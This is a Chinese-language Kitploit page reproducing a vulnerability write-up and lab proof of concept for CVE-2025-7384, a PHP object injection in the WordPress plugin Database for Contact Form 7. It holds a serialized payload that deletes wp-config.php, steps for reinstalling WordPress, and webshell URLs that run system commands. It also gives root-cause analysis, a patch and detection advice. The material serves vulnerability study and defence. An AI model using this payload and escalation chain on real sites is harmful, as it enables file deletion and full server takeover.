Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-7384 — 针对 WordPress Database for Contact Form 7 中一个严重的未经认证的 PHP 对象注入漏洞的漏洞利用 PoC 与根因分析,该漏洞可通过任意文件删除实现 RCE。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2025-7384
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

针对 WordPress Database for Contact Form 7 中一个严重的未经认证的 PHP 对象注入漏洞的漏洞利用 PoC 与根因分析,该漏洞可通过任意文件删除实现 RCE。

查看仓库
19天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-7384 — PHP 对象注入到远程代码执行(RCE)

插件: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8(严重)
CWE: CWE-502 — 不可信数据反序列化
认证要求: 无(未认证)
影响: 远程代码执行


目录

  1. 漏洞概述
  2. 相关概念
  3. 根因分析(源码 + 调试)
  4. 攻击链
  5. 分步复现(POC)
  6. 影响评估
  7. 修复措施

1. 漏洞概述

“Database for Contact Form 7”插件(slug:contact-form-entries)1.4.3 及以下版本存在 PHP 对象注入漏洞。当 WordPress 管理员在管理后台查看表单记录(条目)时,插件会直接对未认证用户通过 Contact Form 7 提交的数据调用 maybe_unserialize() 函数,且未控制允许实例化的类列表。

攻击者无需登录——只需在提交普通联系表单时,将序列化的 PHP 对象插入任意表单字段。这些数据会原样存储在数据库中。当管理员打开查看该条目时,反序列化函数将实例化攻击者所选的对象,触发 __destruct() 或 __wakeup() 等魔术方法 → 根据 WordPress 环境中可用的 POP gadget 执行任意行为。

严重程度: 借助合适的 POP gadget(例如,一个 __destruct() 方法调用 unlink() 的类),攻击者可以删除 wp-config.php 文件,使 WordPress 回退到初始安装界面 → 使用攻击者控制的账户重新安装 → 安装包含 webshell 的插件 → 在服务器上实现完全远程代码执行(RCE)。


2. 相关概念

PHP 序列化 / 反序列化

PHP 使用 serialize() 将对象转换为结构化的文本字符串,并使用 unserialize() 从该字符串恢复对象。当 unserialize() 接收到来自不可信来源(如用户输入)的数据时,攻击者可以构造属于 PHP 内存中当前已加载的任意类的任意对象。

PHP 魔术方法

PHP 在对象生命周期中自动调用的特殊方法。在此上下文中最重要的有:

  • __wakeup() — 对象被反序列化时立即调用
  • __destruct() — 对象被销毁时调用(超出作用域,或请求结束)
  • __toString() — 对象被转换为字符串时调用

POP 链(面向属性编程)

一种将应用程序中现有类的多个魔术方法串联起来,以构建危险行为序列的技术。攻击者不编写新代码——只操纵现有对象的属性,使得魔术方法执行时执行开发者未预期的操作。

WordPress 中的 maybe_unserialize()

WordPress 核心的包装函数。它调用 is_serialized() 检查字符串是否为序列化数据——如果为真,则调用 unserialize() 恢复对象。问题在于:该函数不会传递 allowed_classes 参数(自 PHP 7.0 起可用)来限制允许实例化的类。


3. 根因分析 — 从源码中发现漏洞

第 1 步:寻找 Sink 点(Sink 搜寻)

首先在整个插件源码中 grep 定位反序列化函数——这些是 PHP 中最危险的函数,因为它们可能导致对象注入:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

输出显示了多个 maybe_unserialize() 调用点,最值得注意的是 includes/data.php 第 545 行 verify_val() 函数内部:

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

关键问题: $string 变量从何而来?如果它来自未经过滤的用户输入 → 这就是一个漏洞。

第 2 步:反向追踪 — 数据来自哪里?

查找 verify_val() 的调用位置。在同一个 data.php 文件中反向追踪:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string 正是 $v['value'] —— 从 wp_vxcf_leads_detail 数据库表检索到的值。该函数在管理员查看表单条目详情时被调用。

下一个问题: wp_vxcf_leads_detail 中的数据来自哪里?谁写入的?

第 3 步:寻找数据写入点(Source)

从第 2 步可知,数据从数据库取出。下一个问题:谁将数据写入其中?在 data.php 中搜索 INSERT 查询:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

打开 create_lead() 函数代码(第 85-103 行)查看详情:

image 4.png

在第 98-99 行,值 $v —— 即表单字段(如 your-message)的内容——通过 $wpdb->insert() 直接插入数据库。插件挂钩了 Contact Form 7 的 wpcf7_before_send_mail 事件,因此每当用户提交表单时,所有字段都会原样存储。

进一步检查:插件在保存前确实使用了 sanitize_text_field() 和 sanitize_textarea_field(),但这两个函数只会去除 HTML 标签和特殊 HTML 字符——像 O:21:"VulnerableFileHandler":2:{...} 这样的序列化 payload 不包含 HTML 标签,因此能够完整通过。

第 4 步:结论 — 漏洞确认

至此,完整流程已确立:

root@kitploit:~
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

根因: data.php:545 处的 maybe_unserialize() 函数对源自未认证用户输入的数据进行了调用,且未传递 allowed_classes: false。攻击者只需通过 CF7 表单的 your-message 字段提交一个序列化的 PHP 对象 → 当管理员查看条目时,PHP 会实例化该对象并触发 __destruct() 魔术方法。

第 5 步:调试器验证(Xdebug)

为了直观验证,使用 Xdebug 在 data.php 第 545 行设置断点。通过表单注入 payload 并让管理员查看条目后,调试器恰好停在 maybe_unserialize() 处:

image 5.png

变量面板 显示 $string 持有攻击者的 payload:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → payload 从表单 → 数据库 → 反序列化函数,全程未被拦截

执行行:

  • 第 545 行:$string=maybe_unserialize($string);

调用堆栈 显示函数调用顺序:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ 证实了分析的确切流程:管理员查看条目 → get_entries() → verify_val() → maybe_unserialize()。


4. 攻击链

攻击链由 5 个阶段组成。攻击者只需执行第 1 阶段(表单提交)。第 2-5 阶段在管理员查看条目后自动发生。

第 1 阶段 — 注入 Payload(未认证)

攻击者提交 CF7 表单,在消息字段中携带序列化的 PHP 对象。

  • 端点:POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • 字段 your-message 包含:O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • 插件将 payload 保存到 wp_vxcf_leads_detail 表 — sanitize_text_field() 无法阻止序列化字符串

第 2 阶段 — 触发反序列化(等待管理员)

管理员打开 Contact Form Entries 页面 → 查看条目详情 → 插件调用 verify_val() → maybe_unserialize()。

  • PHP 实例化对象 VulnerableFileHandler,其中 file_path = "/var/www/html/wp-config.php"、cleanup = true
  • 请求结束时,PHP 垃圾回收机制调用 __destruct() → unlink("/var/www/html/wp-config.php")

第 3 阶段 — 任意文件删除

wp-config.php 文件被删除 → WordPress 失去数据库连接。

  • 访问 http://target/ → 自动重定向到 /wp-admin/setup-config.php(初始安装界面)
  • WordPress 将该站点视为未安装状态

第 4 阶段 — 重新安装 WordPress

攻击者使用已知(或暴力破解的)数据库凭据重新安装 WordPress。

  • 创建由攻击者控制的新管理员账户
  • 以完整管理员权限登录管理后台

第 5 阶段 — 远程代码执行

安装包含 webshell 的插件 → 执行任意系统命令。

  • 管理后台 → 插件 → 安装新插件 → 上传包含 PHP webshell 的插件 ZIP
  • 访问 webshell URL:/wp-content/plugins/shell/shell.php?cmd=id
  • 输出:uid=33(www-data) gid=33(www-data) → RCE 完成

5. 分步复现(POC)

5.1 环境搭建

启动包含 WordPress + 漏洞插件的 Docker 实验环境:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

等待约 40 秒,直到日志显示 LAB READY。访问 http://localhost:8181 确认 WordPress 正在运行。

5.2 确定注入点

根据第 3 节的源码分析,我们知道:

  • Sink 位于 data.php:545 — 对表单字段值调用 maybe_unserialize()
  • Source 是 wp_vxcf_leads_detail 表 — 数据来自 CF7 表单
  • 过滤 仅依赖 sanitize_text_field() — 无法阻止序列化字符串

→ 结论:只需将序列化的 PHP 对象提交到 CF7 表单的任意字段即可。选择 your-message,因为它是文本域,接受长字符串,且格式验证较少(不像 your-email 需要邮箱格式)。

5.3 通过联系表单注入 Payload

访问 http://localhost:8181/contact/,按如下方式填写表单:

字段值
Your namedung
Your email[email protected]
Subjecttest inject
Your messageO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Payload 说明:

  • O:21:"VulnerableFileHandler" — 实例化类 VulnerableFileHandler(其 __destruct() 调用 unlink())
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path 属性指向要删除的目标文件
  • s:7:"cleanup";b:1 — 属性 cleanup = true,使 __destruct() 执行 unlink()

点击提交。表单会显示邮件发送错误信息(或成功)——这无关紧要,因为 contact-form-entries 插件在邮件发送之前已将所有数据保存到数据库。

5.4 触发反序列化 — 管理员查看条目

登录 http://localhost:8181/wp-admin(admin / admin123)→ 左侧菜单选择 CRM Entries → 点击查看收到的条目。

image 7.png

这正是执行到达 data.php:545 的时刻——插件从数据库获取 your-message 值,is_serialized() 检查返回 true,调用 maybe_unserialize() → PHP 创建 VulnerableFileHandler 对象 → 请求终止,__destruct() 执行 → unlink("/var/www/html/wp-config.php")。

5.5 确认任意文件删除

在浏览器中访问 http://localhost:8181/ → WordPress 重定向到 /wp-admin/setup-config.php 页面(初始安装界面)→ wp-config.php 文件已被成功删除。

image 8.png

5.6 升级到 RCE

wp-config.php 被删除后,WordPress 回到未安装状态。攻击者步骤:

第 1 步 — 重新安装 WordPress:

访问 http://localhost:8181/wp-admin/setup-config.php → 输入数据库凭据:

字段值
数据库名称wordpress
用户名wpuser
密码wppass
数据库主机db
表前缀wp_

点击提交 → 运行安装 → 创建由攻击者控制的新管理员账户。

第 2 步 — 上传 Webshell:

登录管理后台 → 插件 → 安装新插件 → 上传插件 → 上传 system-health.zip 文件(或 system-monitor.zip)。

image 9.png

上传并激活成功。

第 3 步 — 执行命令(RCE):

访问:http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

输出:uid=33(www-data) gid=33(www-data) → 远程代码执行完成

访问:http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

输出:www-data → 远程代码执行完成


6. 影响评估

*用户交互:NVD 将其评为“无”,因为管理员查看表单条目属于预期行为,而非异常的用户交互。

实际影响范围

  • “Database for Contact Form 7”插件在 wordpress.org 上拥有 100,000+ 个活跃安装
  • 任何运行该插件 ≤ 1.4.3 版本且同时使用 Contact Form 7 的 WordPress 站点均受影响
  • 攻击者无需任何先验信息——只需确认站点使用了 Contact Form 7(通过 HTML 源码即可轻松检测)
  • Payload 持久存储在数据库中,攻击将持续有效,直到条目被删除

7. 修复措施

插件开发者

  1. 不要对用户提供的数据使用 maybe_unserialize()。 当需要存储结构化数据时,改用 json_decode()。

  2. 如果确实必须反序列化,请提供 allowed_classes: false 选项(PHP 7.0+):

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

这将阻止 PHP 实例化任何对象——仅允许标量类型和数组。

  1. 在存储层验证输入数据:如果表单字段应仅包含纯文本,则拒绝任何匹配模式 /^[OaCis]:\d+/ 的值(序列化数据的特征)。

WordPress 管理员

  1. 立即更新插件至 1.4.4 或更高版本
  2. 检查 wp_vxcf_leads_detail 数据库表中是否包含匹配 O:XX:"ClassName": 格式的字符串条目——存在即表明有攻击尝试
  3. 确保 wp-config.php 具有严格的文件权限(440 或 400)——降低被 Web 服务器进程删除的概率
  4. 部署配置了检测 POST 数据中序列化 PHP 对象规则的 WAF(Web 应用防火墙)

补丁对比(参考)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
下载工具
属性值
CVE IDCVE-2025-7384
CVSS 分数9.8(严重)
CWECWE-502 — 不可信数据反序列化
受影响插件contact-form-entries (Database for Contact Form 7) ≤ 1.4.3
认证要求无 — 任何提交 CF7 表单的人均可注入 payload
触发条件管理员在管理后台查看被注入的条目
最大影响未认证远程代码执行
修复版本1.4.4+(以 json_decode 或 allowed_classes: false 替换 unserialize)
CVSS 指标值说明
攻击向量网络通过 HTTP 利用,无需物理访问
攻击复杂度低只需发送 1 个包含 payload 的 POST 请求
所需权限无无需认证 — CF7 表单对公众开放
用户交互无*管理员在日常工作流程中查看条目
机密性高RCE 允许读取服务器上的任意文件
完整性高RCE 允许写入/修改任意文件
可用性高删除 wp-config.php 导致整个网站崩溃